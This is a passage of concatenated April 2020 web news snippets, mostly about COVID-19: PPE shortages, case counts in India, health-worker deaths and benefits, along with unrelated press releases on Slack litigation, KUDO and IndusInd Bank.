natural gas company engaged in the acquisition, development, exploration and production of oil and natural gas properties. Amplifys operations are focused in Oklahoma, the Rockies, offshore California, East Texas / North Louisiana and South Texas. For more information, visit www.amplifyenergy.com . Investor Relations Contacts Martyn Willsher Interim CEO & CFO (832) 219-9047 martyn.willsher@amplifyenergy.com Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment As a Southern Baptist pastors wife and Director of Worship, Kitty Horton has long worked weekends. Her Saturdays and Sundays usually filled with choir practice, volunteer breakfast meetings, widows banquets, and baby showers. Not lately. As the Manager of Infectious Diseases at a local hospital, Kitty has been spending her weekends working 12 to 14-hour shifts amid the COVID-19 pandemic. Until recently, she had not had a day off since March 5. The pastors wife and infectious disease expert has merged her medical and spiritual roles into a unique mission-focused service to Sky View Missionary Baptist Church in rural Fancy Gap, Virginia, and to our rural Appalachian community. Weeks before the U.S. Center for Disease Control recommended cloth face coverings used in public, Kitty told her husband, Pastor Wendell Horton, that there was going to be a shortage of face masks and shields, not only at the hospital but for the general public. There was a need for certain supplies like masks at the hospital, but we couldnt order them, Kitty told me over the phone late Sunday evening. We couldnt get them and everyone was going to need them. Kitty tried to replicate a face shield purchased by the hospital using cut plastic, elastic, and contact paper. She was successful. When she showed her husband the face shield, they together determined this was a crucial mission opportunity for the church. She said we need these shields and we are going to run out of face masks, said Wendell Horton during an interview with SBC of Virginia. I just went to the hardware store and got the supplies that we need to make those and weve made hundreds of them since. Sky View congregants and church staff have crafted hundreds of face masks and shields. These vital personal protective equipment (PPE) are being donated to hospitals, nursing homes, and caregivers throughout rural Southwest Virginia. From the pulpit, Kitty co-leads weekly Wednesday Facebook Live seminars alongside Dr. Robert Pryor, a local internal medicine practitioner (and my Sunday school teacher). These seminars offer updates and medical insights on the coronavirus spread and trends within our region. Too often rural churches abilities are underestimated simply based on congregation size. Sky View is not a megachurch. We have an average weekly attendance of 300 on Sunday mornings. Sky View is not a wealthy church. It ministers in one of the poorest counties in Virginia. Our church is extraordinary, in my opinion, but also an example of the effectiveness of a rural church. Kitty is also breaking down ugly caricatures of Southern Baptist women and, more broadly, traditional evangelical women. Progressive Christian author Jen Hatmaker painted an exaggerated picture of conservative evangelical women during a recent interview with Religion News Service while promoting her new book. Now I can look in and just see all of these women who are so gifted, so intelligent, so wise and good and powerful, such incredibly talented teachers and preachers still following the rules of the patriarchy, still conceding their own gifts to the world, Hatmaker said. She continued: It's not even subtle inside that world. It's overt. It is: You do not have authority to lead. You will be subservient here. The men are in charge specifically, the white men. It's such a constant state of gaslighting that you don't even know that you have permission to challenge the system that is still keeping you disenfranchised. Kitty Horton is not interested in discussions of the patriarchy or disenfranchisement. She has too much work and ministry to do. These conversations seemingly only take place among the progressive left elite. Meanwhile, I can imagine Pastor Wendells laughter if I were to use the term subservient to describe his wife. Kitty is a gifted teacher, worship leader, and a medical expert. Even so, she is not interested in the spotlight, writing books, or speaking tours. This pastors wife is secure in her church leadership, having served alongside her husband for the past 25 years. Her congregation and community cherish her not because of her titles or popularity, but because of her love for her neighbors. Because despite working 14-hours shifts non-stop, she calls and text messages congregants to check in on their mental and physical health. She mobilizes missions outreach in the midst of a global pandemic, not to earn accolades but to glorify God and, hopefully, introduce lost souls to their Savior Jesus Christ. That is the ultimate mission to which my pastors wife is committed. India's tally of COVID-19 positive cases has reached 29,974, including 937 deaths, as per the Union Health Ministry's latest update. Of these, 22,010 are active cases while 7,026 have been cured or discharged. The data was updated at 5 pm on April 28 on the Ministry of Health and Family Welfare's website. Follow LIVE updates on the COVID-19 pandemic here With 8,590 COVID-19 cases, Maharashtra continues to be the worst-affected state, followed by Gujarat (3,548) and Delhi (3,108). COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show The health ministry on April 27 said 85 districts across the country had not reported any new COVID-19 cases in the past 14 days. Prime Minister Narendra Modi in a meeting with chief ministers indicated that the lockdown would continue after May 3 in hotspots, media reports suggest. Haryana has made passes mandatory for those who travel from Delhi to Gurgaon and Faridabad. S. No. Name of State / UT Total Confirmed cases (Including 111 foreign Nationals) Cured/Discharged/Migrated Death 1 Andaman and Nicobar Islands 33 11 0 2 Andhra Pradesh 1259 258 31 3 Arunachal Pradesh 1 1 0 4 Assam 38 27 1 5 Bihar 346 57 2 6 Chandigarh 40 17 0 7 Chhattisgarh 37 32 0 8 Delhi 3108 877 54 9 Goa 7 7 0 10 Gujarat 3548 394 162 11 Haryana 296 183 3 12 Himachal Pradesh 40 22 1 13 Jammu and Kashmir 546 164 7 14 Jharkhand 103 17 3 15 Karnataka 520 198 20 16 Kerala 482 355 4 17 Ladakh 22 16 0 18 Madhya Pradesh 2368 361 113 19 Maharashtra 8590 1282 369 20 Manipur 2 2 0 21 Meghalaya 12 0 1 22 Mizoram 1 0 0 23 Odisha 118 37 1 24 Puducherry 8 3 0 25 Punjab 313 71 18 26 Rajasthan 2262 669 46 27 Tamil Nadu 1937 1101 24 28 Telengana 1004 321 26 29 Tripura 2 2 0 30 Uttarakhand 51 33 0 31 Uttar Pradesh 2043 400 31 32 West Bengal 697 109 20 Total number of confirmed cases in India 29974* 7027 937 *140 cases are being assigned to states for contact tracing *States wise distribution is subject to further verification and reconciliation *Our figures are being reconciled with ICMR Below is the coronavirus cases/deaths state-wise tally: Globally, over 3 million cases and more than 210,000 deaths have been reported during the COVID-19 outbreak. Follow our full coverage here PHILADELPHIA, April 28, 2020 /PRNewswire/ -- Kehoe Law Firm, P.C. is investigating potential breaches of fiduciary duty claims involving certain officers and/or directors of Slack Technologies, Inc. ("Slack" or the "Company") (NYSE: WORK). The investigation involves whether Slack's officers and/or directors breached fiduciary duties by failing to disclose that Slack's platform was susceptible to recurring service-level disruptions, such disruptions were increasingly likely to occur as Slack scaled its services to a larger user base, and that Slack provides credits even if a customer was not specifically affected by service-level disruptions, and as a result, service-level disruptions would have a material adverse impact on Slack's financial results. Slack Technologies investors who have owned their stock shares continuously since June 2019 are encouraged to contact either Michael Yarnoff, Esq., (215) 792-6676, Ext. 804, [email protected], [email protected], or John Kehoe, Esq, (215) 792-6676, Ext. 801, [email protected], to discuss the Slack Technologies investigation or potential legal claims. Kehoe Law Firm, P.C., with offices in New York and Philadelphia, is a multidisciplinary, plaintiffside law firm dedicated to protecting investors from securities fraud, breaches of fiduciary duties, and corporate misconduct. Combined, the partners at Kehoe Law Firm have served as Lead Counsel or Co-Lead Counsel in cases that have recovered more than $10 billion on behalf of institutional and individual investors. This press release may constitute attorney advertising. SOURCE Kehoe Law Firm, P.C. Related Links kehoelawfirm.com Atitd.org scored 41 Social Media Impact. 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Represents HTML declared type (e.g.: XHTML 1.1, HTML 4.0, the new HTML 5.0) Site Traffic trend during the last year. Only available for sites ranked <= 100000 in the world. Referring domains for atitd.org by MajesticSeo. High values are a sign of site importance over the web and on web engines. Facebook link FACEBOOK PAGE LINK NOT FOUND The description of the Facebook page describes website and its services to the social media users. The total number of people who like website Facebook page. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. Facebook Timeline is the new layout of Facebook pages. The URL of the found Facebook page. The type of Facebook page. A Facebook page link can be found in the homepage or in the robots.txt file. Twitter account link TWITTER PAGE LINK NOT FOUND Two pet cats in New York state tested positive for the coronavirus; they were first confirmed cases in pets in the United States. Now, Duke University is looking at a possible case in a pet dog. It's a trend that may have pet owners concerned. But Dr. Casey Barton Behravesh, a CDC official who works on human-animal health connections, told the Associated Press that there's "no need for pet owners to panic, or rush to test their animals." Coronavirus testing for pets isnt recommended unless the animal has been exposed to COVID-19 and has symptoms, Dr. Jane Rooney of the USDA also told the Associated Press. GPs have posted naked selfies to draw attention to the shortage of protective equipment and clothing for healthcare workers on the German coronavirus frontline. The group Blanke Bedenken aim to tell Germany's health ministers that their calls over several months for more protective gear weren't heard. They said 'when we run out of what little we have, we look like this', suggesting that going to work without PPE in the current crisis is like being naked. One GP in the group told ArzteZeitung: 'The nudity is a symbol of how vulnerable we are without protection.' GPs in Germany posted naked photos to draw attention to the shortage of protective clothing and equipment on the coronavirus frontline One doctor sat behind toilet rolls and wore one on her head as she used a blue face mask with red spots Members of the group said they felt at risk from coronavirus and many doctors have repeatedly asked for more kit since the first cases of the bug in Germany in January. Firms producing the equipment increased the amount they were producing but still didn't meet demands. Filter masks, goggles, gloves and aprons were frequently requested by medical practices, clinics and care homes but they say their needs have barely been met, The Mirror reported. Two medics sat either side of a skeleton in a hat outside. They wore only stethoscopes as they covered themselves by crossing their legs They said 'when we run out of what little we have, we look like this', suggesting that going to work without PPE in the current crisis is like being naked The group Blanke Bedenken aims to tell Germany's health ministers that their calls over several months for more protective gear weren't heard The petition has been signed by more than 1,000 people so far. At the beginning of April protective face masks destined for Berlin were allegedly intercepted at Bangkok Airport. They were reportedly diverted to the US, prompting angry German officials to blast Donald Trump for the move. Members of the group said they felt at risk of coronavirus and many doctors have repeatedly asked for more kit since the first cases of the bug in Germany in January One medic stands underneath a clear umbrella while someone sticks a plaster to the outside One medic posed with a stethoscope around his neck and a red and yellow backpack in front of him Firms producing the protective equipment increased the amount they were producing but still didn't meet demands The petition to Germany's health ministers has been signed by more than 1,000 people so far Berlin's interior minister Andreas Geisel said: 'We consider that an act of modern piracy.' Yesterday Germany recorded 1,018 new coronavirus cases which is the smallest jump in the country for more than six weeks. The new infections are the fewest since March 14, when the figure was last in the hundreds. The mortality rate is 3.7 per cent, which is lower than Italy, Spain and Britain which have rates of 13.5, 11.2 and 13.6 per cent respectively. This has allowed Germany to start edging out of lockdown but experts warned against complacency. Masks on all of Germany's public transport were made compulsory yesterday, with some states imposing stricter rules and demand them in shops too. This is the heartrending moment a little Chinese girl who lost her mother to the coronavirus pandemic cried 'mum, don't leave me behind' when her corpse was about to be cremated. Frontline nurse Zhang Jingjing, 32, died from a cardiac arrest earlier this month after working day and night to save patients during a two-month mission to Hubei, the former ground zero of the outbreak. Her five-year-old daughter was inconsolable and hugged her father tightly at her mother's cremation service yesterday in the city of Jinan, eastern China. Footage released by Cover News shows the child, who remains unidentified, wailing 'mum, don't leave me behind' repeatedly at her mother's cremation service yesterday in Ji'nan Zhang Jingjing (left), 32, died from a cardiac arrest earlier this month after working day and night to save patients during a two-month mission to Hubei. In a video filmed before her death, her daughter (right) said 'I will use my magic wand to help mother beat the coronavirus' Footage released by Cover News shows the child, who remains unidentified, wailing 'mum, don't leave me behind' repeatedly as she refused to believe that her mother had passed. Ms Zhang died on April 6 at the end of her 14-day quarantine period after returning to her native province of Shandong from Hubei, according to previous reports. In a home video filmed before her sudden death, her young daughter encouraged her mother to fight the deadly disease as she said 'I will use my magic wand to help mother beat the coronavirus'. Her husband, Han Wentao, is a construction contractor sent to Sierra Leone in western Africa by the Chinese government. He was arranged to fly back home via Brussels on April 11 upon hearing the tragic news of his wife's death. Mr Han said he wished to streamline his wife's funeral affairs and would not arrange any other memorial service, state newspaper People's Daily reported in a social media post. A heart-breaking video shows the medical worker, Zhang Jingjing (pictured), waving at the camera as she and her colleagues leave Hubei on a plane on March 21 Ms Zhang died of cardiac arrest after fighting on the front line against the coronavirus epidemic in Hubei for 56 days. She was due to go home after completing her 14-day quarantine when the tragedy happened. Ms Zhang will be remembered for her contribution to save COVID-19 patients in Hubei, Chinese officials said. A previous video showed the medical worker waving at the camera as she and her colleagues left Hubei on a plane on March 21. 'We will be home and meet again very soon,' Ms Zhang said in the video. According to Southern Weekly, 2,974 medics from China's Hubei province contracted the virus and 28 of them died. Pictured, a medic sweeps away tears for her mother on April 6 The nurse, who worked at the Qilu Hospital, was a member of the first medical team from Shandong Province dispatched on January 26 to Hubei in the wake of the epidemic. She completed her 14-day isolation on April 4 after working day and night in Huanggang city of Hubei for nearly two months. She tested negative three times during quarantine, according to the press. The medical worker then suffered a heart attack on the next morning, just before she was allowed to return home. The Shandong hospital announced her death on April 6 after all treatment failed. Mr Han was unable to bid a farewell to his wife because Sierra Leone had suspended all flights to China due to the pandemic, according to the press. He said the last time the couple saw each other was in December last year. 'I still feel numb. I can't believe everything,' Mr Han wrote on his social media page when Ms Zhang was being rescued. 'Hold on there, my wife! Our family can't live without you!' The virus has killed 4,633 people and infected 82,836 in China, according to the latest government figures. Pictured, medical workers bow their heads during a national moment of mourning for victims of coronavirus in Wuha on April 4 The deaths of medical workers have proven to be extremely sensitive news to the Chinese government amid the pandemic. The country has not released an official toll of doctors and nurses who died on the line of duty across the country. According to Southern Weekly, 2,974 frontline medics from Hubei contracted the virus and 28 of them died. State media claimed on March 31 that none of the 42,600 medical workers dispatched to Hubei to fight the disease was infected. The virus has killed 4,633 people and infected 82,836 in China, according to the latest government figures. Worldwide, more than 211,000 people have lost their lives and over three million have caught the bug in the pandemic. A mother-of-five has revealed how she was left horrified after her cheeky toddler shaved a huge patch of her hair while no one was watching using a pair of dog clippers. Sian Coombs, 35, from Hawarden, North Wales, was preparing to groom the familys cavapoo when Sariah, two, snuck out of the room with the clippers. The mother-of-five assumed she had wandered off to watch TV so was left shocked when she saw the little girl wandering around with clumps of long, blonde locks falling from her head. Sian explained: 'My first instinct was of course one of horror, but I saw the big smile on her face change into an anxious expression when she saw my face so I quickly realised I needed to hide my own feelings to protect her.' Sian Coombs, 35, from Hawarden, North Wales, said she felt horrified when she saw Sariah, two, had shaved a huge clump of hair from her head using a pair of dog clippers (pictured left, before the accident, and right, afterwards) Sian said her children had been supportive to their youngest sister about her new haircut, (pictured, from left to right: Eldest Thomas, 15, Percy, five, Paul, Henry, seven, Sian with Sariah, two and Amara, 13) Sian said: My daughter is absolutely doggy obsessed and she loves to help me but the dogs didnt enjoy her brushing them so I gave her a bowl of treats to feed to the dogs to distract them while I brushed. She was doing a great job and by feeding the treats to the puppies, she kept them distracted and it kept her entertained too - so all was going well.' Sian admitted she didnt realise that the treats must have run out and her daughter mysteriously left the room. She said: I just assumed shed gone to join her other siblings watching TV or something. While her mother was left horrified by the new haircut, dog-obsessed Sariah apparently did not seem to mind her funky new trim But she returned moments later holding the dog clippers in her hand, and as soon as I spotted her holding them, I leapt to get them off her but then noticed what she had done. Sian, who is also mother to Thomas, 15, Amara, 13, Henry, seven, and Percy, five, panicked as she realised Sariah managed to shave a whole patch down the middle of her head. She said: The hair was still sort of stuck to her head, but as I began touching it, clumps came away in my hand and I could see what had happened. Sariahs first reaction was to say 'Mummy did it after Sian was left standing with clumps of her daughters hair in her hands. Doting mother Sian said 'very bright' Sariah copied everything she did and was learning to find her way around the house Sian said she was relieved when her toddler daughter (pictured) laughed when she saw her new haircut in the mirror Despite her initial reaction being gobsmacked, the mother-of-five said in hindsight she was relieved her toddler didn't take the clippers to one of the dogs becuasthey have a litter of seven-week-old puppies in the house. She said: Shes still breastfed so immediately upon realising there was a problem she asked for "bobos" so I just fed her to calm her down, and give me time to gather my thoughts a little. I didnt show her the result of her hair until a little while later but she just laughed when she saw herself in the mirror which I was relieved about.' Describing her little one as absolutely full of life, Sian said her cheeky little girl copies everything she does, revealing: 'She copies me with every task I do and shes very bright. Meanwhile Sian's other children quickly swept Sariah under their wing to cheer her up after the accident, taking her outside to play on the trampoline (Pictured: Sian's five children Amara, Thomas, Percy, Henry and Sariah, during a family photoshoot) 'I dont think theres much in my house that she doesnt know where it belongs or how it works. She notices everything and just loves to join in and help out.' The mother said it was also heartwarming to see that none of her other children seemed to mind their youngest siblings new hair-do. Sian added: My children didnt say much to be honest. They dont really care what her hair is like, they just love her for who she is regardless of anything else. They all immediately went out onto the trampoline and played together like nothing had happened. Sian said she had debated shaving the little girl's hair completely after the mishap, but has now decided to leave the locks as they are My eldest was probably the most shocked, my teenage daughter just thought it was funny and the younger boys have barely mentioned it. However Sian admitted that her husband, Paul, did question if she was joking when she messaged him to tell him the news. She said: He feels the same as me. We just love her to bits and want her to be happy, nothing else matters. These things happen in life sometimes. After sharing the news with her family, Sian considered shaving off the rest of Sariahs hair but, after consulting with her daughter, has decided to leave it. After the mishap, Sian admitted she just wanted the little girl to be happy and decided to leave the mishmatched haircut (pictured, before the chop) She explained: I messaged my hairdresser and a few hairdresser friends who all told me to leave it be. I also asked Sariah and she got upset at the thought of having the rest shaved. My only concern now is to protect her feelings. She doesnt want it cutting so I wont. I just want her to feel happy and not worry about it so were not making an issue of it. The mother said she is going to buy a few headbands and look into the possibility of supplements, but that aside, they are just going to wait for it to grow back. The doting mother said there were many more things to be upset about in the world right now than a dodgy haircut (pictured: Sariah playing with the family's dog in the park) Hairdressers advised Sian to just let Sariah's hair be for the time being (pictured left, before the incident, and right, after) She added: Im extremely grateful shes only lost her hair down to a silly accident and not something far worse. 'There is an awful lot more going on in the world right now, a dodgy haircut isnt a reason to be too upset. Im only too aware of people whose children lose their hair as theyre battling life threatening illnesses; my daughter is perfectly healthy so I dont need to worry. It certainly caused a lot of drama in our house yesterday as friends and family were all messaging to see what happened. They all know what Sariah is like, so I cant imagine anyone who knows her is too surprised! Sian said she was happy the hair loss was down to a silly incident rather than a horrifying accident (pictured, 'cheeky' Sariah in her bed at home before the incident KUDO Expands to Europe with Local Infrastructure Our European expansion, which started in 2019, is now in full swing, powered by a full-time local team and a growing network of select partners. Roughly half of our clients are European institutions, which made the decision quite obvious for us. KUDO Inc., the leading Language-as-a-Service platform for online meetings, is expanding to Europe where it now operates under Swiss law as KUDO Sarl, out of Geneva. The company now provides its technology and services through servers in Frankfurt, Milan, London, Paris, Stockholm, and Ireland. European clients can now host their meetings in their preferred servers, based on their specific data and privacy policies, with the support of a fully European-based infrastructure and a dedicated technical support team available locally. Worldwide, KUDO relies on a global cloud infrastructure, a secure, extensive, and reliable network of cloud servers offering over 175 fully-featured services from a vast array of data centers. KUDOs new topography ensures the deployment of applications using specific servers that are closest to and favored by new clients and end-users in Europe, with single-digit millisecond latency performance. "Our European expansion, which started in 2019, is now in full swing, powered by a full-time local team and a growing network of select partners," says Fardad Zabetian, KUDOs CEO and co-founder. Roughly half of our clients are European institutions, which made the decision quite obvious for us, he adds. KUDO has seen tremendous growth in usage as more enterprises are pushing their meetings online in an attempt to adapt to the constraints introduced by COVID-19. A large part of those meetings requires multilingual support, which led the company to establish a new Meeting Services division to assist with the onboarding and training of new partners and users, helping them through mock and actual meetings and empowering their teams to full autonomy. "We went beyond the technology and greatly expanded our roster of professional conference interpreters," says Ewandro Magalhaes, KUDOs VP of Communications and co-founder. "As of today, 5,000 trained freelance linguists stand ready to service meetings in as many as 60 languages and from all corners of the world, with an average of 100 new professionals joining the ranks every day," adds the former chief interpreter in the United Nations system. About KUDO KUDO is a cloud-based collaboration platform that enables web meetings and live conferences with real-time multilingual language interpretation. KUDO supports effective and inclusive meetings by allowing people and businesses to overcome communication barriers and speak their own language. Accessible from anywhere, on any device, KUDO redefines possibilities in global communication. KUDO, Inc. is a New-York based technology startup founded and managed by language and conferencing industry insiders looking to bring people together. More info at http://www.kudoway.com Shares of IndusInd Bank on Tuesday jumped 17 percent at the close of trade after the company reported its March quarter earnings New Delhi: Shares of IndusInd Bank on Tuesday jumped 17 percent at the close of trade after the company reported its March quarter earnings. On Monday, post-trading hours, IndusInd Bank reported a 12.31 percent dip in its consolidated profit after tax at Rs 315.25 crore for the quarter ended March 2020 due to an increase in loan loss provisions. Its overall provisions jumped to Rs 2,440 crore as against Rs 1,560 crore in the year-ago period, which dented the bottomline the most. The scrip zoomed 15.11 percent to close at Rs 468.90 on the BSE. During the day, it advanced 18 percent to Rs 480.90. At the National Stock Exchange (NSE), it rose sharply by 17 percent to close at Rs 476.95. IndusInd Bank was the top gainer in the Sensex and Nifty pack. The company's market valuation also rose by Rs 4,288.76 crore to Rs 32,520.76 crore on the BSE. In traded volume terms, 30.59 lakh shares were traded on the BSE and about 6 crore on the NSE. On a standalone basis, the net profit fell 16.17 percent to Rs 301.84 crore during the January-March quarter as against Rs 360.10 crore in the year-ago period. The bank's newly appointed chief executive and managing director Sumant Kathpalia said the provisions included a floating provision of Rs 260 crore for COVID-19 related impact on asset quality and Rs 23 crore for accounts which are unrecognised as non-performing assets as per a RBI direction during the pandemic period. Its overall gross non-performing assets (NPA) ratio jumped to 2.45 percent of the total assets as against 2.10 percent in the year-ago period on a consolidated basis. In the background of the exposures to stressed assets in the infrastructure and non-bank lenders haunting its book, Kathpalia said the bank plans to move away from the riskier sectors, and will also reduce exposures to diversified groups going forward. He said over 95 percent of the retail borrowers, whose share in the overall loanbook has increased to 56 percent now, repaid their loans for March, and the bank is pursuing them to continue doing so for April as well, pointing out that the RBI's moratorium will increase interest outgo. The bank did not offer the scheme for corporate borrowers and very few of them have come forward asking for relief, he said, adding 75 percent of small business owners have repaid their dues as per schedule till April. The chair of the British Medical Association (BMA) in Northern Ireland has described a new life assurance scheme for health and social care staff who die from Covid-19 as a "terrible insult" to workers. The life assurance scheme, announced in London on Monday, means dependants of those that die in England and Wales will receive a 60,000 lump sum, worth roughly twice the average pensionable pay for NHS staff, with the cost met by the government. The money - health officials said - is comparable to what would have been offered to an average staff member through the NHS Pension Scheme. They said the scheme payment would be made in addition to any death benefit purchased by a staff member and that locum and agency staff would be supported by the scheme in their roles in the delivery of NHS services. It will operate on a temporary basis and will only provide death in service benefits for the duration of the coronavirus pandemic. The system of payments for frontline workers in Northern Ireland has not yet been announced. However, the Department of Health said it was committed to developing a "fair and effective" scheme for providing life assurance. But Dr Tom Black said the scheme announced by Health Secretary Matt Hancock means certain groups of doctors will not receive their full pension entitlement in a move he described as "penny-pinching" by the Westminster government. He also said he was no longer willing to put forward doctors to work in Covid centres or wards because their family would not receive the usual entitlements if they died. "We will instead, and this is what we have been doing for the last month, we will put forward older doctors like me who are more at risk because governments won't pay a pension to the widows of the younger doctors, that's not acceptable," he said, speaking to the BBC's Talkback programme. Dr Black said that when the Covid pandemic emerged all healthcare workers stepped into the breach. "Nobody hesitated, there were problems with PPE, we took it on the chin and kept working," he said. He claimed doctors will now be disadvantaged if they die in those circumstances after normally expecting to receive double their annual pay and approximately half their pension. "Certain groups of doctors such as GP locums or people who are out of the pension scheme, retired members who came back or very young doctors who are in the first two years of their career, those groups will not get that. "We're basically saying to their widow, widower or their children, do you know what, there's 60 grand but you won't get the pension rights that you would normally get in these circumstances. "Now that's not a kick in the teeth, that's a terrible insult to the profession who stepped up in this circumstance. That's really not acceptable, it's penny-pinching from the Treasury in London," he said. In a further comment to the Belfast telegraph, Dr Black said: "Scotland is offering standard death in service payments to those in that situation, but what is being proposed by Matt Hancock is a single one-off payment that would leave families without an ongoing pension. "In the best case no-one would ever need to access this fund, but some doctors families might. In particular younger doctors who have not joined the pension scheme, those who have answer the call to return from retirement to assist with the pandemic, locum doctors who do not have a fixed employer and those who may have opted out of the pension scheme. "We know that our Minister is still weighing up how best to use this funding in Northern Ireland and we would strongly urge that it is a full death in service benefit not a single payment. Our frontline doctors and their families deserve nothing less." Speaking on Monday, Health Secretary Matt Hancock said: "Nothing can make up for the tragic loss of a loved one during this pandemic. We owe a huge debt to those who die in service to our nation and are doing everything we can to protect them. Financial worries should be the last thing on the minds of their families so in recognition of these unprecedented circumstances we are expanding financial protection to NHS and social care workers delivering publicly funded care on the frontline. We will continue to strive night and day to provide them with the support and protection they need and deserve to keep them safe as they work tirelessly to save lives. A Northern Ireland department of Health statement said the health minister was considering which model represents the best fit for Northern Ireland and which "most equitably reflects the important contributions being made for our health service". "Different approaches are being taken in different UK regions and the Minister will reach decision shortly, having examined the different options." Metro Manila (CNN Philippines, April 28) The Bureau of Immigration on Tuesday issued a stern warning to foreign nationals who violate the enhanced community quarantine rules. Immigration Commissioner Jaime Morente said foreigners who disobey existing lockdown laws may face arrest and deportation. "Aliens who blatantly disregard our laws, especially during this critical period, not only face criminal charges but also immigration deportation cases as well. If deported, alien offenders will be perpetually barred from returning to the country," he said in a statement. The warning came after a foreign national in Makati had a tussle with a police officer who questioned the resident's helper for not wearing a face mask while watering plants outside the foreigner's house. There was also a recent raid of an online gaming company employing illegal Chinese workers despite the COVID-19 lockdown. Morente cited the Section 6 of Bayanihan to Heal as One Act states that alien offenders shall be penalized and deported. Senator Ping Lacson on Monday called on the Bureau of Immigration to conduct a swift deportation proceeding against Makati resident Javier Parra. Meanwhile, BI is in the process of checking the personal records of 44 arrested Chinese POGO employees prior to filing deportation cases against them. Najran Cement signs financing agreement 28 April 2020 Saudi Arabias Najran Cement has signed a financing agreement with Bank Al-Jazira. The credit agreement will see a total of SAR355M (US$94.67m) paid semi-annually over five years. The first four years will see an annual payment of SAR51m and the remainder issued in the final year. Published under With children infected by COVID-19 feeling anxious as they adjust to isolation wards and PPE-clad doctors, health authorities in Punjab and Chandigarh look to keep them occupied with board games, cartoons and regular counselling. At the Jalandhar civil hospital, two sisters who tested positive for COVID-19 have been given toys and a carrom board to keep them busy, while at the PGIMER in Chandigarh, children infected with the virus are kept engaged with cartoons on TV and drawing sessions. Keeping these children busy in isolation wards is proving to be a challenge in itself for the health authorities. "We have given them carrom board and ludo to play in order to make them comfortable," said Jalandhar Senior Medical Officer Kashmiri Lal. A television set has also been installed in the ward, he added. Lal said the two sisters, aged six and seven, tested positive after their grandfather contracted the disease. "Our psychiatrists also counsel them regularly so they feel at ease," he added. Psychiatrists said convincing parents to being their children to the hospital is one of the biggest challenges. "The biggest problem is to convince them to bring the kids here as they are not ready to come," said Assistant Professor, Department of Psychiatry, PGIMER, Swapanjit Sahu. Once they reach the hospital and are admitted to the isolation ward, they often get scared as they have never experienced an environment like that before, Sahu added. The children see doctors in PPE kits which they have never seen before and then start crying, he further said. "We talk to them through video-conferencing to counsel them so their anxiety level goes down. "We try to tell them that their parents are fine and they will be at the hospital for only some time," Sahu told PTI. Coronavirus positive children the Post Graduate Institute of Medical Education and Research (PGIMER) in Chandigarh have at least one of their family members also infected with the virus admitted for treatment, officials at the facility said. Children are also given digital copies of comics on WhatsApp, said Sahu. "They even watch (cartoons) 'Motu patlu', 'Mowgli' on YouTube. Even crayons are given for drawing. We try to keep them busy," he said, adding that it helps them develop a bond with the children so they do not create any problem during sampling. The children also get to talk to their family members through video-conferencing to make them more comfortable. "We play musical rhymes on Youtube and give them pen and paper to scribble," Sahu added. Currently, four COVID-19 positive children a one-month-old, a six-month-old, a one-and-a-half-year old and an eight-year-old are admitted to the PGIMER, Chandigarh. All of them are asymptomatic. On Sunday, an eleven-month-old baby girl, along with her mother, was discharged from the PGIMER after they were fully cured of the infection. "Though both mother and daughter were stable physically but psychologically, it was a very stressful experience to stay isolated. "The mother reported significant distress during her stay at the ward and was consistently counselled through video-conferencing to address her anxiety and anger. Despite testing negative, she had to stay for a long period of time as her baby had tested positive," said Sahu. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) / -- It has been more than a month now since the people of India have been on the lockdown amidst COVID-19. Although the lockdown is helping to protect the people, but the challenge of getting daily supplies for the public is creating chaos among them. Following all this, in several parts of Bangalore, Krishi Direct, an initiative taken by skilled and innovative people, Mr. Ashwin Kumar K. and Team are delivering the freshly farmed fruits and vegetables to the public at their doorsteps. Envisioned to change the present scenario of the agriculture industry, Krishi Direct began its journey as a platform connecting farmers and buyers to make the trade. In the current situation, this company has now started buying fruits and vegetables directly from the farmers and delivering the freshly farmed fruits and vegetables at the doorstep of the people living nearby. All they have to do is go to their website or mobile app, select the item, order them, and get it delivered to their doorstep. Krishi Direct | A Smarter & Safe Way Of Getting Vegetables & Fruits Delivered To You Krishi Direct has announced that it will be delivering fresh fruits and vegetables to the people and the societies located in Bangalore. Presently, the venture is catering only 50% of the area in Bangalore, but very shortly, the team has a plan set up all ready to cater to the entire Bangalore. People, living in Bangalore, can now order fruits and vegetables from Krishi Direct via krishidirect.com or their mobile app https://play.google.com/store/apps/details?id=com.app.krishidirect&hl=en and it will be delivered at their doorstep. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A senior official of the Niti Aayog on Tuesday tested positive for novel coronavirus after which the entire building was sealed as a precautionary measure to contain the spread of the pandemic. A senior official of the Niti Aayog on Tuesday tested positive for novel coronavirus (COVID-19) after which the entire building was sealed as a precautionary measure to contain the spread of the pandemic. According to senior officials of the Niti Aayog, an official working in the fourth floor office of the building was tested positive. The Niti Aayog from its official twitter account said: "An employee working at NITI Bhavan has been detected positive with coronavirus. It was informed to the authorities at 9 a.m. this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed." It further said that disinfection and sanitisation of the building are underway. "Contacts of the single COVID-positive person have been asked to go on self-quarantine," it added. The total number of coronavirus cases in India on Tuesday rose to 29,435 with 934 people.losing their lives to the pandemic. In Delhi, the total number of coronavirus cases rose to 3,108 with 54 deaths. New Delhi, April 28 : The Congress has initiated a process of distributing PPE kits to mediapersons who are on field reporting the Covid-19 outbreak to prevent the spread of the disease among the media fraternity. The distribution of PPE kits started on Tuesday and will continue on Wednesday. The party will distribute 200 kits among the mediapersons, of which 50 were handed 